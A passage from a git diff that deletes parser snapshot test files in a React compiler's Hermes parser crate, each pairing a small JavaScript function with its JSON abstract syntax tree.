-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                99,
-                100
-              ]
-            },
-            "loc": null,
-            "range": [
-              92,
-              101
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          18,
-          103
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        103
-      ],
-      "loc": null,
-      "range": [
-        0,
-        103
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    103
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-in-nested-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-in-nested-if.js.snap
deleted file mode 100644
index 0b325caacee2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-in-nested-if.js.snap
+++ /dev/null
@@ -1,269 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/assignment-in-nested-if.js
----
-Input:
-function useBar(props) {
-  let z;
-
-  if (props.a) {
-    if (props.b) {
-      z = baz();
-    }
-  }
-
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useBar",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          15
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            21
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  31,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              27,
-              33
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  41,
-                  46
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  47,
-                  48
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                41,
-                48
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        66,
-                        67
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      60,
-                      67
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "z",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              77,
-                              78
-                            ]
-                          },
-                          "right": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "Identifier",
-                              "name": "baz",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                81,
-                                84
-                              ]
-                            },
-                            "arguments": [],
-                            "loc": null,
-                            "range": [
-                              81,
-                              86
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            77,
-                            86
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          77,
-                          87
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      69,
-                      93
-                    ]
-                  },
-                  "alternate": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    93
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                50,
-                97
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              37,
-              97
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                108,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              101,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          23,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        112
-      ],
-      "loc": null,
-      "range": [
-        0,
-        112
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    112
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations-complex-lvalue-array.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations-complex-lvalue-array.js.snap
deleted file mode 100644
index 57457d62c8e7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations-complex-lvalue-array.js.snap
+++ /dev/null
@@ -1,281 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue-array.js
----
-Input:
-function foo() {
-  const a = [[1]];
-  const first = a.at(0);
-  first.set(0, 2);
-  return a;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "NumericLiteral",
-                          "value": 1.0,
-                          "loc": null,
-                          "range": [
-                            31,
-                            32
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        30,
-                        33
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    29,
-                    34
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  34
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              35
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "first",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    44,
-                    49
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        52,
-                        53
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "at",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        54,
-                        56
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      52,
-                      56
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        57,
-                        58
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    52,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  44,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              38,
-              60
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "first",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    68
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "set",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  63,
-                  72
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    73,
-                    74
-                  ]
-                },
-                {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    76,
-                    77
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                63,
-                78
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              63,
-              79
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                89,
-                90
-              ]
-            },
-            "loc": null,
-            "range": [
-              82,
-              91
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          93
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        93
-      ],
-      "loc": null,
-      "range": [
-        0,
-        93
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    93
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations-complex-lvalue.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations-complex-lvalue.js.snap
deleted file mode 100644
index 62a8000d1e0b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations-complex-lvalue.js.snap
+++ /dev/null
@@ -1,389 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/assignment-variations-complex-lvalue.js
----
-Input:
-function g() {
-  const x = { y: { z: 1 } };
-  x.y.z = x.y.z + 1;
-  x.y.z *= 2;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "g",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    23,
-                    24
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          29,
-                          30
-                        ]
-                      },
-                      "value": {
-                        "type": "ObjectExpression",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                34,
-                                35
-                              ]
-                            },
-                            "value": {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                37,
-                                38
-                              ]
-                            },
-                            "kind": "init",
-                            "method": false,
-                            "shorthand": false,
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              34,
-                              38
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          32,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        29,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    27,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  23,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              17,
-              43
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      46,
-                      47
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      48,
-                      49
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    46,
-                    49
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  46,
-                  51
-                ]
-              },
-              "right": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        54,
-                        55
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      54,
-                      57
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      58,
-                      59
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "operator": "+",
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    62,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  63
-                ]
-              },
-              "loc": null,
-              "range": [
-                46,
-                63
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              46,
-              64
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "*=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      68
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      69,
-                      70
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    67,
-                    70
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    72
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  67,
-                  72
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 2.0,
-                "loc": null,
-                "range": [
-                  76,
-                  77
-                ]
-              },
-              "loc": null,
-              "range": [
-                67,
-                77
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              67,
-              78
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                88,
-                89
-              ]
-            },
-            "loc": null,
-            "range": [
-              81,
-              90
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          13,
-          92
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        92
-      ],
-      "loc": null,
-      "range": [
-        0,
-        92
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    92
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations.js.snap
deleted file mode 100644
index 2960dedfad35..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@assignment-variations.js.snap
+++ /dev/null
@@ -1,249 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/assignment-variations.js
----
-Input:
-function f() {
-  let x = 1;
-  x = x + 1;
-  x += 1;
-  x >>>= 1;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "f",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          10
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    21,
-                    22
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  21,
-                  26
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              17,
-              27
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  30,
-                  31
-                ]
-              },
-              "right": {
-                "type": "BinaryExpression",
-                "left": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "operator": "+",
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              },
-              "loc": null,
-              "range": [
-                30,
-                39
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  43,
-                  44
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  48,
-                  49
-                ]
-              },
-              "loc": null,
-              "range": [
-                43,
-                49
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              43,
-              50
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": ">>>=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  53,
-                  54
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  60,
-                  61
-                ]
-              },
-              "loc": null,
-              "range": [
-                53,
-                61
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              53,
-              62
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                72,
-                73
-              ]
-            },
-            "loc": null,
-            "range": [
-              65,
-              74
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          13,
-          76
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        76
-      ],
-      "loc": null,
-      "range": [
-        0,
-        76
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    76
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@await-side-effecting-promise.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@await-side-effecting-promise.js.snap
deleted file mode 100644
index 64f0094b0162..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@await-side-effecting-promise.js.snap
+++ /dev/null
@@ -1,204 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/await-side-effecting-promise.js
----
-Input:
-async function Component(props) {
-  const x = [];
-  await populateData(props.id, x);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          15,
-          24
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            25,
-            30
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    42,
-                    43
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    46,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  42,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              36,
-              49
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AwaitExpression",
-              "argument": {
-                "type": "CallExpression",
-                "callee": {
-                  "type": "Identifier",
-                  "name": "populateData",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    70
-                  ]
-                },
-                "arguments": [
-                  {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        76
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "id",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        77,
-                        79
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      71,
-                      79
-                    ]
-                  },
-                  {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      81,
-                      82
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  58,
-                  83
-                ]
-              },
-              "loc": null,
-              "range": [
-                52,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              52,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                94,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          32,
-          98
-        ]
-      },
-      "generator": false,
-      "async": true,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@await.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@await.js.snap
deleted file mode 100644
index 9bd8db241b05..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@await.js.snap
+++ /dev/null
@@ -1,248 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/await.js
----
-Input:
-async function Component(props) {
-  const user = await load(props.id);
-  return <div>{user.name}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          15,
-          24
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            25,
-            30
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "user",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    42,
-                    46
-                  ]
-                },
-                "init": {
-                  "type": "AwaitExpression",
-                  "argument": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "load",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        55,
-                        59
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            60,
-                            65
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "id",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            66,
-                            68
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          60,
-                          68
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      55,
-                      69
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    49,
-                    69
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  42,
-                  69
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              36,
-              70
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    81,
-                    84
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  80,
-                  85
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "user",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        86,
-                        90
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "name",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        91,
-                        95
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      86,
-                      95
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    85,
-                    96
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    98,
-                    101
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  96,
-                  102
-                ]
-              },
-              "loc": null,
-              "range": [
-                80,
-                102
-              ]
-            },
-            "loc": null,
-            "range": [
-              73,
-              103
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          32,
-          105
-        ]
-      },
-      "generator": false,
-      "async": true,
-      "loc": null,
-      "range": [
-        0,
-        105
-      ],
-      "loc": null,
-      "range": [
-        0,
-        105
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    105
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@babel-existing-react-import.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@babel-existing-react-import.js.snap
deleted file mode 100644
index 4884ad142ea7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@babel-existing-react-import.js.snap
+++ /dev/null
@@ -1,718 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/babel-existing-react-import.js
----
-Input:
-import { useState, useMemo } from "react";
-
-function Component(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-function Component2(props) {
-  const [x] = useState(0);
-  const expensiveNumber = useMemo(() => calculateExpensiveNumber(x), [x]);
-
-  return <div>{expensiveNumber}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportSpecifier",
-          "imported": {
